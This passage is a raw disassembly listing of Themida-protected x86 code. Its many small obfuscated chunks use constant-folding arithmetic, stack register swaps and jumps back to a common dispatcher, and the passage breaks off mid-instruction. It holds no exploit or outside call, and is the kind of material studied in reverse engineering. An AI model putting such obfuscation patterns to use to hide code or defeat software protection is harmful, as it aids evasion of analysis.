Themida_:00545764j push ebx mov ebx, esp add ebx, 4 jmp loc_54C934 ; --------------------------------------------------------------------------- locret_544382: ; CODE XREF: Themida_:0054849Fj retn ; --------------------------------------------------------------------------- jmp loc_544022 ; --------------------------------------------------------------------------- loc_544388: ; CODE XREF: Themida_:00546A0Aj pop ebx xchg eax, [esp] jmp loc_546D9C ; --------------------------------------------------------------------------- loc_544391: ; CODE XREF: Themida_:0054F6C7j shl ebp, 7 jmp loc_54C45C ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5443A2: ; CODE XREF: Themida_:005480D9j xor [esp], ebx xor ebx, [esp] pop esp push dword ptr [esp] jmp loc_54C093 ; --------------------------------------------------------------------------- loc_5443B1: ; CODE XREF: Themida_:0054AA20j mov ecx, 7DBCD0E4h sub ebp, 40215BCBh add ebp, ecx add ebp, 40215BCBh pop ecx mov edi, ebp pop ebp sub edi, 29D3536Eh jmp loc_54C875 ; --------------------------------------------------------------------------- loc_5443D3: ; CODE XREF: Themida_:0054FB08j push 25D8276Ch mov edx, [esp] add esp, 4 not edx not edx add edx, 0DA27D898h mov eax, edx push dword ptr [esp] pop edx add esp, 4 add ecx, eax jmp loc_54F81E ; --------------------------------------------------------------------------- loc_5443FE: ; CODE XREF: Themida_:00545EF5j add eax, 16DF1892h sub eax, 0F8769FEh pop ebp jmp loc_54C596 ; --------------------------------------------------------------------------- loc_54440E: ; CODE XREF: Themida_:0054D0B7j push ebp jmp loc_54EAD3 ; --------------------------------------------------------------------------- loc_544414: ; CODE XREF: Themida_:00546534j add ebp, 50D6D2Dh not ebp jmp loc_54E2F7 ; --------------------------------------------------------------------------- xchg dl, [esp] push dx push bx jmp loc_546484 ; --------------------------------------------------------------------------- loc_54442D: ; CODE XREF: Themida_:0054F8A2j pop ecx sub ch, 10h jmp loc_54C384 ; --------------------------------------------------------------------------- loc_544436: ; CODE XREF: Themida_:005499C1j add ebx, esi jmp loc_545E85 ; --------------------------------------------------------------------------- loc_54443D: ; CODE XREF: Themida_:00544215j mov esp, [esp] or [esp], al pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_544449: ; CODE XREF: Themida_:0054762Ej dec ebx not ebx loc_54444C: ; DATA XREF: ___:off_43CCF4o jmp loc_544E86 ; --------------------------------------------------------------------------- loc_544451: ; CODE XREF: Themida_:0054801Dj mov edx, ecx pop ecx push ebp jmp loc_545130 ; --------------------------------------------------------------------------- loc_54445A: ; CODE XREF: Themida_:0054AE0Fj pop ecx jmp loc_544022 ; --------------------------------------------------------------------------- loc_544460: ; CODE XREF: Themida_:00546B01j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], eax pop dword ptr [edi+40h] push dword ptr [esp] pop eax push edx mov edx, esp push 4D21h mov [esp], ebx mov ebx, 4 sub esp, 4 jmp loc_54FC3A ; --------------------------------------------------------------------------- loc_54448C: ; CODE XREF: Themida_:00547CECj pop cx push 2E22h mov [esp], ebx mov bl, 4Dh add dl, 0A2h sub dl, bl jmp loc_548342 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_54D6B6 ; --------------------------------------------------------------------------- loc_5444B4: ; CODE XREF: Themida_:0054ABFDj add esp, 4 pop dword ptr [esp] mov esp, [esp] and [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5444C9: ; CODE XREF: Themida_:00545952j push edx mov dh, 0A9h shl dh, 7 add dh, 48h sub dh, 0FFh jmp loc_546C91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_5444DA: ; CODE XREF: sub_545BCC+9B69j mov ebx, [esp+0] jmp loc_548A2A ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_5444E2: ; CODE XREF: Themida_:0054EDBEj xor eax, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5444F2: ; CODE XREF: Themida_:005466CCj xchg ebx, ebp not ebx xchg ebx, ebp sub ebp, 0D054CB12h add eax, ebp pop ebp push 5D44h mov [esp], eax xor dword ptr [esp], 779076DAh pop esi jmp loc_54F161 ; --------------------------------------------------------------------------- loc_544516: ; CODE XREF: Themida_:0054EA03j add ebx, 68717F8Bh add ebx, esi sub esp, 4 mov [esp], esi mov esi, 4AB5923h or esi, 1DFB06E1h sub esi, 0B589E058h sub ebx, esi pop esi mov esi, [esp] add esp, 4 jmp loc_54FD92 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_544552: ; CODE XREF: Themida_:005440E6j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push ecx mov ecx, 5A900364h dec ecx sub ecx, 35A719AFh shr ecx, 2 inc ecx push eax mov eax, 6E3D01D7h sub eax, 28B043E4h add eax, 0E1A29D8Ch jmp loc_54E09F ; --------------------------------------------------------------------------- loc_54458E: ; CODE XREF: Themida_:0054A8F7j mov edi, 156E4687h add edi, ebx pop ebx sub edi, 7CBE5B50h sub eax, 675849A0h add eax, edi add eax, 675849A0h pop edi jmp loc_549480 ; --------------------------------------------------------------------------- loc_5445AE: ; CODE XREF: Themida_:0054D4ADj sub eax, ebx pop ebx sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edx push 11D46F38h pop edx shr edx, 5 neg edx jmp loc_54C97C ; --------------------------------------------------------------------------- loc_5445D0: ; CODE XREF: Themida_:00548564j jmp loc_544022 ; --------------------------------------------------------------------------- loc_5445D5: ; CODE XREF: Themida_:0054EDF4j push 6965h mov [esp], edx mov edx, esp push ebx mov ebx, 4 jmp loc_545DDA ; --------------------------------------------------------------------------- loc_5445EA: ; CODE XREF: Themida_:0054DDB0j add esi, eax pop eax jmp loc_54FB59 ; --------------------------------------------------------------------------- loc_5445F2: ; CODE XREF: Themida_:0054A42Bj add ebp, 57CE1283h jmp loc_54FDE8 ; --------------------------------------------------------------------------- loc_5445FD: ; CODE XREF: Themida_:00546CC3j sub edx, 4A7D3E53h jmp loc_54A831 ; --------------------------------------------------------------------------- loc_544608: ; CODE XREF: Themida_:0054BC7Cj mov eax, [esp] add esp, 4 xor edi, ebx pop ebx inc edi sub edi, 5F2C3A3Dh jmp loc_54EDB5 ; --------------------------------------------------------------------------- loc_54461D: ; CODE XREF: Themida_:00545658j and ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_54468E ; --------------------------------------------------------------------------- loc_544630: ; CODE XREF: Themida_:0054C325j add eax, 590C6979h push edx mov edx, 73326608h add eax, 27C66026h jmp loc_54C7D2 ; --------------------------------------------------------------------------- loc_544645: ; CODE XREF: Themida_:005473BDj push 0F8Eh mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] pop edx add esp, 4 pop dword ptr [esp] mov esp, [esp] sub [esp], al pushf jmp loc_548BAF ; --------------------------------------------------------------------------- loc_54466A: ; CODE XREF: Themida_:005476A4j pop edi add eax, 4108842Dh mov ebx, eax push dword ptr [esp] pop eax push eax push esp pop eax push ecx jmp loc_54FC63 ; --------------------------------------------------------------------------- loc_54467F: ; CODE XREF: Themida_:00549E4Bj pop edi and ecx, edi mov edi, [esp] add esp, 4 push edi jmp loc_54FB0D ; --------------------------------------------------------------------------- loc_54468E: ; CODE XREF: Themida_:0054462Bj mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push eax jmp loc_545A35 ; --------------------------------------------------------------------------- loc_5446A0: ; CODE XREF: Themida_:0054AB05j mov edi, [esp] add esp, 4 pop esi pop esi shr edi, 3 push edx push 16CF2D7Fh pop edx or edx, 6760575Dh jmp loc_54732F ; --------------------------------------------------------------------------- loc_5446C0: ; CODE XREF: Themida_:0054DB3Fj pop eax push eax mov eax, 4 add edi, eax jmp loc_54855A ; --------------------------------------------------------------------------- loc_5446CE: ; CODE XREF: Themida_:0054B9E6j mov [esp], eax mov eax, esp push edi push 66AC3026h pop edi jmp loc_54417A ; --------------------------------------------------------------------------- loc_5446DF: ; CODE XREF: Themida_:0054E602j mov ecx, ebx pop ebx add [esp+8], ecx pop ecx sub [esp+4], ecx push ecx mov ecx, 55996AB6h sub [esp+8], ecx jmp loc_54FC8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_5446FA: ; CODE XREF: sub_545BCC+7E18j add al, bl pop bx add al, 0AEh add al, 0CDh sub al, ch push ebx mov bh, 43h not bh shr bh, 8 shr bh, 7 inc bh jmp loc_5492F4 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_544716: ; CODE XREF: Themida_:0054FF16j sub ecx, 20B42E57h add ecx, ebx add ecx, 20B42E57h pop ebx dec ecx xor ecx, 7261DCDh neg ecx inc ecx sub ecx, 0D282CD79h mov esi, ecx jmp loc_54F3E4 ; --------------------------------------------------------------------------- loc_54473C: ; CODE XREF: Themida_:0054862Bj mov [esp], esi sub esp, 4 push 74A6h push esp jmp loc_54DB53 ; --------------------------------------------------------------------------- loc_54474D: ; CODE XREF: Themida_:0054E4EFj pop ebx shr edx, 2 jmp loc_548296 ; --------------------------------------------------------------------------- loc_544756: ; CODE XREF: Themida_:0054EDE3j push dword ptr [esp] pop edi add esp, 4 xor eax, ebp push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 add esp, 4 push 1D9h mov [esp], esi mov esi, 587B8E7h xor eax, esi mov esi, [esp] jmp loc_549C16 ; --------------------------------------------------------------------------- loc_54478E: ; CODE XREF: Themida_:005479E6j sub eax, 4 xchg eax, [esp] jmp loc_54F690 ; --------------------------------------------------------------------------- loc_54479B: ; CODE XREF: Themida_:0054C74Aj mov [esp], edi push dword ptr [esp+4] jmp loc_54C4E3 ; --------------------------------------------------------------------------- loc_5447A7: ; CODE XREF: Themida_:00549573j sub al, dl add al, 9Fh jmp loc_54872C ; --------------------------------------------------------------------------- loc_5447B0: ; CODE XREF: Themida_:0054A207j pop edi add edx, ebx pop ebx push esi push edx mov edx, 4 mov esi, edx mov edx, [esp] add esp, 4 sub edx, 2BDC033Eh add edx, esi add edx, 2BDC033Eh mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp push eax jmp loc_548A47 ; --------------------------------------------------------------------------- loc_5447E1: ; CODE XREF: Themida_:0054E09Aj mov edi, 702E0D46h mov ebx, edi pop edi push ebp mov ebp, 42DF214Bh add ebp, 35084DF7h add ebx, ebp pop ebp and ebx, 55EC57CCh sub ebx, 40045486h add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_548ED6 ; --------------------------------------------------------------------------- loc_544811: ; CODE XREF: Themida_:0054B302j mov esi, 3A992560h xor esi, 1C8634BAh xor esi, 1F7272BEh add edi, esi pop esi mov ebx, [esp] add esp, 4 xor edi, [esp] jmp loc_54ED75 ; --------------------------------------------------------------------------- loc_544833: ; CODE XREF: Themida_:0054F3DFj jmp loc_544022 ; --------------------------------------------------------------------------- loc_544838: ; CODE XREF: Themida_:005457A0j sub esi, 4 xchg esi, [esp] pop esp jmp loc_54E8BF ; --------------------------------------------------------------------------- loc_544844: ; CODE XREF: Themida_:0054718Ej shl eax, 3 shr eax, 2 jmp loc_54CCB6 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 10F4h mov [esp], esi sub esp, 4 mov [esp], eax jmp loc_54E5A2 ; --------------------------------------------------------------------------- loc_544868: ; CODE XREF: Themida_:0054CAA8j push small word ptr [esp+2] mov bp, [esp] add esp, 2 pop small word ptr [esp] not bp sub esp, 2 jmp loc_54E80A ; --------------------------------------------------------------------------- mov ax, [esp] push edx push esp pop edx jmp loc_54BD4D ; --------------------------------------------------------------------------- loc_54488F: ; CODE XREF: Themida_:0054854Aj add esp, 4 push 5D6Fh mov [esp], ecx jmp loc_548420 ; --------------------------------------------------------------------------- loc_54489F: ; CODE XREF: Themida_:00549158j push ebx jmp loc_54B307 ; --------------------------------------------------------------------------- loc_5448A5: ; CODE XREF: Themida_:0054D29Ej mov eax, 371069F8h sub eax, 0CD703450h jmp loc_54EAC2 ; --------------------------------------------------------------------------- loc_5448B4: ; CODE XREF: Themida_:0054EAEBj pop ebp xchg esi, [esp] pop esp jmp loc_5481DE ; --------------------------------------------------------------------------- loc_5448BE: ; CODE XREF: Themida_:00548413j push 47B8h mov [esp], edx jmp loc_54EF79 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5448DB: ; CODE XREF: Themida_:0054D037j push cx pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5448E3: ; CODE XREF: Themida_:0054E94Cj add edx, 917B23Ah add esi, 59965C87h add esi, edx sub esi, 59965C87h pop edx jmp loc_54B636 ; --------------------------------------------------------------------------- loc_5448FD: ; CODE XREF: Themida_:0054BF8Fj pop ebp jmp loc_54AD41 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_548754 ; --------------------------------------------------------------------------- loc_54490B: ; CODE XREF: Themida_:0054921Fj sub edi, edx pop edx add ebx, 4A60221Ah jmp loc_54804C ; --------------------------------------------------------------------------- loc_544919: ; CODE XREF: Themida_:00547764j sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_5440AC ; --------------------------------------------------------------------------- loc_54492C: ; CODE XREF: Themida_:0054D937j sub edi, 18CC3C39h push esi mov esi, 200D57E4h push eax mov eax, 6BAA1BC4h xor esi, eax jmp loc_54FF2A ; --------------------------------------------------------------------------- loc_544945: ; CODE XREF: Themida_:0054AF6Aj mov ebx, [esp] add esp, 4 jmp loc_544C2F ; --------------------------------------------------------------------------- loc_544953: ; CODE XREF: Themida_:0054DE6Cj mov ecx, eax pop eax add ebx, ecx mov ecx, [esp] add esp, 4 push ebp jmp loc_5491E5 ; --------------------------------------------------------------------------- loc_544964: ; CODE XREF: Themida_:0054A5B2j add eax, ecx pop ecx push 6192h mov [esp], edi mov edi, 1748C3DDh sub esp, 4 mov [esp], ebp mov ebp, 41EA03A6h jmp loc_54648B ; --------------------------------------------------------------------------- loc_544987: ; CODE XREF: Themida_:0054F2DBj push esp jmp loc_54F5E4 ; --------------------------------------------------------------------------- loc_54498D: ; CODE XREF: Themida_:0054708Aj pop esi sub edx, edi jmp loc_5476BF ; --------------------------------------------------------------------------- loc_544995: ; CODE XREF: Themida_:005484CFj add dword ptr [esp], 62A06B5h pop ecx sub ecx, 62A06B5h jmp loc_54E4BB ; --------------------------------------------------------------------------- loc_5449A8: ; CODE XREF: Themida_:0054ABF1j push ebx mov ebx, 4BA43D32h sub ebx, 0EF91CFE8h add edi, ebx pop ebx push ebp jmp loc_54EA27 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push eax push esp pop eax push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_54BC81 ; --------------------------------------------------------------------------- loc_5449D8: ; CODE XREF: Themida_:0054CAE6j mov [esp], ebp jmp loc_54D74E ; --------------------------------------------------------------------------- loc_5449E0: ; CODE XREF: Themida_:0054C92Fj dec edx add edx, 20077420h shl edx, 8 xor edx, 0A21E1062h sub esi, edx mov edx, [esp] jmp loc_5488D3 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp sub esp, 4 mov [esp], esi mov esi, 4 push ecx mov ecx, 6C421703h add ebp, ecx jmp loc_544D03 ; --------------------------------------------------------------------------- loc_544A1C: ; CODE XREF: Themida_:0054852Aj sub edx, esi pop esi sub edx, 0C4651D0h jmp loc_54875C ; --------------------------------------------------------------------------- loc_544A2A: ; CODE XREF: Themida_:0054A943j pop ecx shr eax, 8 xor eax, ecx push eax mov eax, esp add eax, 4 jmp loc_54B8B7 ; --------------------------------------------------------------------------- loc_544A3D: ; CODE XREF: Themida_:005490CBj pop ecx sub bl, 21h sub bl, 9Ch sub bl, dl add bl, 9Ch push ecx mov ch, 91h neg ch add ch, 6Dh dec ch sub ch, 0BAh jmp loc_54ADE7 ; --------------------------------------------------------------------------- loc_544A5B: ; CODE XREF: Themida_:0054F26Dj add esp, 4 jmp loc_5490F3 ; --------------------------------------------------------------------------- loc_544A63: ; CODE XREF: Themida_:0054D787j add bl, 0EDh sub bl, 0C9h sub bl, al push edx mov dh, 0F3h jmp loc_54F591 ; --------------------------------------------------------------------------- loc_544A73: ; CODE XREF: Themida_:00549DE5j or ebx, ebp jmp loc_5490D0 ; --------------------------------------------------------------------------- loc_544A7A: ; CODE XREF: Themida_:005485ACj mov ecx, 0EC6AF291h add ebx, ecx pop ecx sub eax, ebx pop ebx push 2C68h mov [esp], esi mov esi, 1482832Fh push edi mov edi, 1B980434h sub eax, edi jmp loc_54B121 ; --------------------------------------------------------------------------- loc_544A9F: ; CODE XREF: Themida_:0054677Dj sub ebx, 12EC4473h sub edx, ebx pop ebx shr edx, 7 xor edx, 96987Bh add esi, 18450027h add esi, edx sub esi, 18450027h pop edx jmp loc_545DC9 ; --------------------------------------------------------------------------- loc_544AC5: ; CODE XREF: Themida_:0054F63Ej push ebx jmp loc_54674E ; --------------------------------------------------------------------------- loc_544ACB: ; CODE XREF: Themida_:00548F32j add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54F123 ; --------------------------------------------------------------------------- loc_544ADA: ; CODE XREF: Themida_:0054DA4Cj xor esi, 0E051D71Ch mov ebp, esi pop esi jmp loc_54F16C ; --------------------------------------------------------------------------- loc_544AE8: ; CODE XREF: Themida_:0054C5F4j push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_54B5C9 ; --------------------------------------------------------------------------- loc_544AF8: ; CODE XREF: Themida_:0054815Ej not ebp push edx mov edx, 2736C6Fh inc edx xor edx, 32206A00h or edx, 3BEC4433h shl edx, 2 jmp loc_54F3FC ; --------------------------------------------------------------------------- loc_544B15: ; CODE XREF: Themida_:00550066j or ebx, 1EFD2DEAh and ebx, 7EAE78A5h sub ebx, 6079F367h xchg edx, ebx jmp loc_54D0BC ; --------------------------------------------------------------------------- loc_544B2E: ; CODE XREF: Themida_:005483B9j pop ebx add eax, ebp pop ebp push ebx jmp loc_54EE71 ; --------------------------------------------------------------------------- loc_544B38: ; CODE XREF: Themida_:0054EE93j mov edi, 56F32FF2h jmp loc_549AA5 ; --------------------------------------------------------------------------- loc_544B42: ; CODE XREF: Themida_:0054C164j sub esi, 4 xchg esi, [esp] pop esp jmp loc_547DB5 ; --------------------------------------------------------------------------- loc_544B51: ; CODE XREF: Themida_:005471EBj mov esp, [esp] sub esp, 4 jmp loc_54F272 ; --------------------------------------------------------------------------- loc_544B5F: ; CODE XREF: Themida_:0054BD40j sub ebx, 0BD73285h sub ebx, eax sub esp, 4 jmp loc_547861 ; --------------------------------------------------------------------------- loc_544B72: ; CODE XREF: Themida_:0054FBC6j jmp loc_544022 ; --------------------------------------------------------------------------- loc_544B77: ; CODE XREF: Themida_:0054880Cj push edi mov edi, 34FA499Dh xor edi, 27D54E89h add edi, 3CFB33AAh xor ecx, edi pop edi jmp loc_54DC7A ; --------------------------------------------------------------------------- loc_544B91: ; CODE XREF: Themida_:0054D226j push dword ptr [esp] pop edx add esp, 4 push edi mov edi, esp push ecx jmp loc_546DB3 ; --------------------------------------------------------------------------- loc_544BA1: ; CODE XREF: Themida_:00544FA3j push 0 sub [esp], edi pop edi push ebx mov ebx, 29206C57h jmp loc_54805C ; --------------------------------------------------------------------------- loc_544BB5: ; CODE XREF: Themida_:00548BCDj push edi jmp loc_547484 ; --------------------------------------------------------------------------- loc_544BBB: ; CODE XREF: Themida_:0054EF3Bj pop edi shr eax, 1 push 0DD4h mov [esp], edi mov edi, 5D513272h xor eax, edi pop edi xor eax, 4CD298E3h add ebp, 2BEE0E4Eh add ebp, eax sub ebp, 2BEE0E4Eh pop eax push esi mov esi, 2 add ebp, esi pop esi jmp loc_54DA6D ; --------------------------------------------------------------------------- loc_544BF0: ; CODE XREF: Themida_:0054B8B2j mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_544C01: ; CODE XREF: Themida_:0054A393j mov [esp], ebx jmp loc_547E75 ; --------------------------------------------------------------------------- loc_544C09: ; CODE XREF: Themida_:0054AFD2j pop dword ptr [esp] jmp loc_54A458 ; --------------------------------------------------------------------------- loc_544C11: ; CODE XREF: Themida_:005475ABj xor ecx, ebx xor ebx, ecx xor ecx, ebx xchg edx, ebx xchg ebp, edx not ebp xchg ebp, edx push ebx push edx jmp loc_54E6C3 ; --------------------------------------------------------------------------- loc_544C26: ; CODE XREF: Themida_:0054CC8Cj pop ecx popa popf retn ; --------------------------------------------------------------------------- jmp loc_544022 ; --------------------------------------------------------------------------- loc_544C2F: ; CODE XREF: Themida_:0054494Ej pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_544022 ; --------------------------------------------------------------------------- loc_544C3D: ; CODE XREF: Themida_:0054C3F5j sub edx, edi pop edi add edx, eax jmp loc_54538D ; --------------------------------------------------------------------------- loc_544C47: ; CODE XREF: Themida_:0054B019j xor edi, eax pop eax mov edx, edi pop edi add esi, edx jmp loc_545761 ; --------------------------------------------------------------------------- loc_544C54: ; CODE XREF: Themida_:0054BFA9j mov ebp, 2 add ecx, ebp pop ebp xchg ecx, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_544C6A: ; CODE XREF: Themida_:00549586j sub ebp, 3106C29h jmp loc_54FD06 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx jmp loc_5473CC ; --------------------------------------------------------------------------- loc_544C84: ; CODE XREF: Themida_:0054532Cj push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_54EAF7 ; --------------------------------------------------------------------------- loc_544C9B: ; CODE XREF: Themida_:0054727Ej xor dword ptr [esp], 6DB8191Eh pop ecx xor ecx, 6DB8191Eh mov esi, [esp] jmp loc_54D23C ; --------------------------------------------------------------------------- loc_544CB1: ; CODE XREF: Themida_:0054F1A4j dec eax neg eax add eax, 427F177Fh xor eax, 0FFA7EB03h jmp loc_548BBA ; --------------------------------------------------------------------------- loc_544CC3: ; CODE XREF: Themida_:0054C2E7j xor ebx, edi pop edi jmp loc_548B98 ; --------------------------------------------------------------------------- loc_544CCB: ; CODE XREF: Themida_:0054F86Bj sub [esp], ax pushf jmp loc_5490DC ; --------------------------------------------------------------------------- loc_544CD5: ; CODE XREF: Themida_:0054BA62j mov edx, esp add edx, 4 jmp loc_54915D ; --------------------------------------------------------------------------- loc_544CE2: ; CODE XREF: Themida_:0054ACD1j pop edx sub cl, 73h add cl, bl add cl, 73h pop bx sub bl, 19h add bl, cl add bl, 19h mov ecx, [esp] add esp, 4 jmp loc_54F40A ; --------------------------------------------------------------------------- loc_544D03: ; CODE XREF: Themida_:00544A17j pop ecx jmp loc_548988 ; --------------------------------------------------------------------------- loc_544D09: ; CODE XREF: Themida_:0054A836j add esp, 4 push 3AF9h mov [esp], edi mov edi, 2F457BC8h push 2C5Ah mov [esp], edi jmp loc_54A7B2 ; --------------------------------------------------------------------------- loc_544D26: ; CODE XREF: Themida_:0054C687j xchg esi, [esp] pop esp mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_544D42: ; CODE XREF: Themida_:0054F1F4j mov ecx, 4 add esi, ecx pop ecx push esi push dword ptr [esp+4] mov esi, [esp] push ebp mov ebp, esp jmp loc_54EA19 ; --------------------------------------------------------------------------- loc_544D5A: ; CODE XREF: Themida_:0054CE69j add esi, eax jmp loc_54F7F0 ; --------------------------------------------------------------------------- loc_544D61: ; CODE XREF: Themida_:00548770j not ecx or ecx, 0BB130DAh push 1230h mov [esp], edi mov edi, 6B2F03BAh shl edi, 2 xor edi, 5747321Fh sub ecx, edi pop edi add esi, 63EF4325h add esi, ecx sub esi, 63EF4325h pop ecx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_54D005 ; --------------------------------------------------------------------------- loc_544DA2: ; CODE XREF: Themida_:0054EEDDj mov [esp], edi mov edi, 4 add esi, edi pop edi push edi push 2 push dword ptr [esp] pop edi jmp loc_54409B ; --------------------------------------------------------------------------- loc_544DBC: ; CODE XREF: Themida_:0054FB88j and edx, 221F4385h push ecx jmp loc_54754C ; --------------------------------------------------------------------------- loc_544DC8: ; CODE XREF: Themida_:005483AEj push eax jmp loc_54564B ; --------------------------------------------------------------------------- loc_544DCE: ; CODE XREF: Themida_:0054DE0Fj add esp, 4 sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push eax mov eax, 4 add ebp, 34372232h add ebp, eax sub ebp, 34372232h pop eax add ebp, 4 jmp loc_54D6E5 ; --------------------------------------------------------------------------- loc_544DFE: ; CODE XREF: Themida_:00548DF2j sub ebx, 0A4C466Dh push ebp push edx push 55D27B6Fh pop edx inc edx jmp loc_5455B9 ; --------------------------------------------------------------------------- loc_544E12: ; CODE XREF: Themida_:0054F3BBj add esi, 44665AB1h pop edx and esi, 0E512FC4h xor esi, 60626E85h add eax, esi pop esi sub eax, 562D0735h sub eax, ebx add eax, 562D0735h sub eax, 66324705h push 66ACh mov [esp], ecx mov ecx, 23CF72B9h xor eax, ecx mov ecx, [esp] push eax mov eax, esp push 5B67h mov [esp], ebp mov ebp, 37751775h shr ebp, 1 add ebp, 70746C3Ah add ebp, 73D10810h jmp loc_5487DD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5492C2 ; --------------------------------------------------------------------------- loc_544E77: ; CODE XREF: Themida_:00546BA3j pop esp mov [esp], ebp jmp loc_546852 ; --------------------------------------------------------------------------- loc_544E80: ; CODE XREF: Themida_:005480B8j push ebx jmp loc_54827F ; --------------------------------------------------------------------------- loc_544E86: ; CODE XREF: Themida_:loc_54444Cj push edx mov edx, 7BEF2955h jmp loc_54BD22 ; --------------------------------------------------------------------------- loc_544E91: ; CODE XREF: Themida_:00547B06j add esp, 4 push dword ptr [esp] jmp loc_54C0A9 ; --------------------------------------------------------------------------- loc_544E9C: ; CODE XREF: Themida_:00547487j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edi jmp loc_54EE56 ; --------------------------------------------------------------------------- loc_544EAC: ; CODE XREF: Themida_:0054EA14j btc [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_544EB7: ; CODE XREF: Themida_:0054BF2Aj mov esp, [esp] mov fs:[edx], ax jmp loc_544022 ; --------------------------------------------------------------------------- loc_544EC3: ; CODE XREF: Themida_:0054B56Aj xor edi, 19586E4Fh sub edi, 0FACB9E4Bh add ebp, edi jmp loc_54E990 ; --------------------------------------------------------------------------- loc_544ED6: ; CODE XREF: Themida_:0054AD5Dj pop esp mov [esp], edx push ebx mov ebx, 7ED14861h jmp loc_54E4E0 ; --------------------------------------------------------------------------- loc_544EE5: ; CODE XREF: Themida_:005480D0j push dword ptr [esp] mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_54FB8D ; --------------------------------------------------------------------------- loc_544EFF: ; CODE XREF: Themida_:0054D9FCj push 41D3h mov [esp], edi mov edi, esp push eax push 4 pop eax sub edi, 260377C0h add edi, eax add edi, 260377C0h mov eax, [esp] add esp, 4 jmp loc_545DF1 ; --------------------------------------------------------------------------- loc_544F2C: ; CODE XREF: Themida_:0054FE7Bj push edi push 80000h pop edi and eax, edi mov edi, [esp] push esi push 6388h mov [esp], esp loc_544F41: ; DATA XREF: ___:off_435720o jmp loc_54DB44 ; --------------------------------------------------------------------------- loc_544F46: ; CODE XREF: Themida_:0054570Fj mov esi, 283B05DCh push esi push eax push 35D42D7Ch pop eax xor eax, 1DEF2884h mov esi, eax pop eax push esi mov eax, [esp] add esp, 4 mov esi, [esp] jmp loc_54E14B ; --------------------------------------------------------------------------- loc_544F6A: ; CODE XREF: Themida_:00549F2Cj mov edi, 40B6402Fh add edi, 0FFFFFFFFh add edi, 337BEA59h sub ecx, edi mov edi, [esp] add esp, 4 neg ecx push 0F6Eh jmp loc_54A59E ; --------------------------------------------------------------------------- push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 push edi mov edi, 36261EE7h shr edi, 2 jmp loc_544BA1 ; --------------------------------------------------------------------------- dd 5366D800h, 4EC8152h, 89000000h, 4CB02404h, 0B5518A04h dd 46F9E919h, 5580000h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebp mov ebp, 38E550Bh mov esi, ebp mov ebp, [esp] jmp loc_547C81 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_547E2F ; --------------------------------------------------------------------------- loc_544FF5: ; CODE XREF: Themida_:0054B2D2j shl ebx, 4 dec ebx jmp loc_54D1C8 ; --------------------------------------------------------------------------- loc_544FFE: ; CODE XREF: Themida_:005456FFj pop esp rol dword ptr [esp], cl pushf jmp loc_5484D4 ; --------------------------------------------------------------------------- loc_545008: ; CODE XREF: Themida_:0054D1E9j add esp, 4 jmp loc_54F109 ; --------------------------------------------------------------------------- loc_545010: ; CODE XREF: Themida_:005490EEj sub esp, 4 mov [esp], edi push 2FF71948h pop edi add ebx, 7986BD5h add ebx, edi jmp loc_547878 ; --------------------------------------------------------------------------- loc_545029: ; CODE XREF: Themida_:005453EAj xor ebx, 49F95897h push edi mov edi, ebx mov ebp, edi pop edi pop ebx shl ebp, 6 dec ebp add ebp, 45A39F01h mov edx, ebp mov ebp, [esp] add esp, 4 and 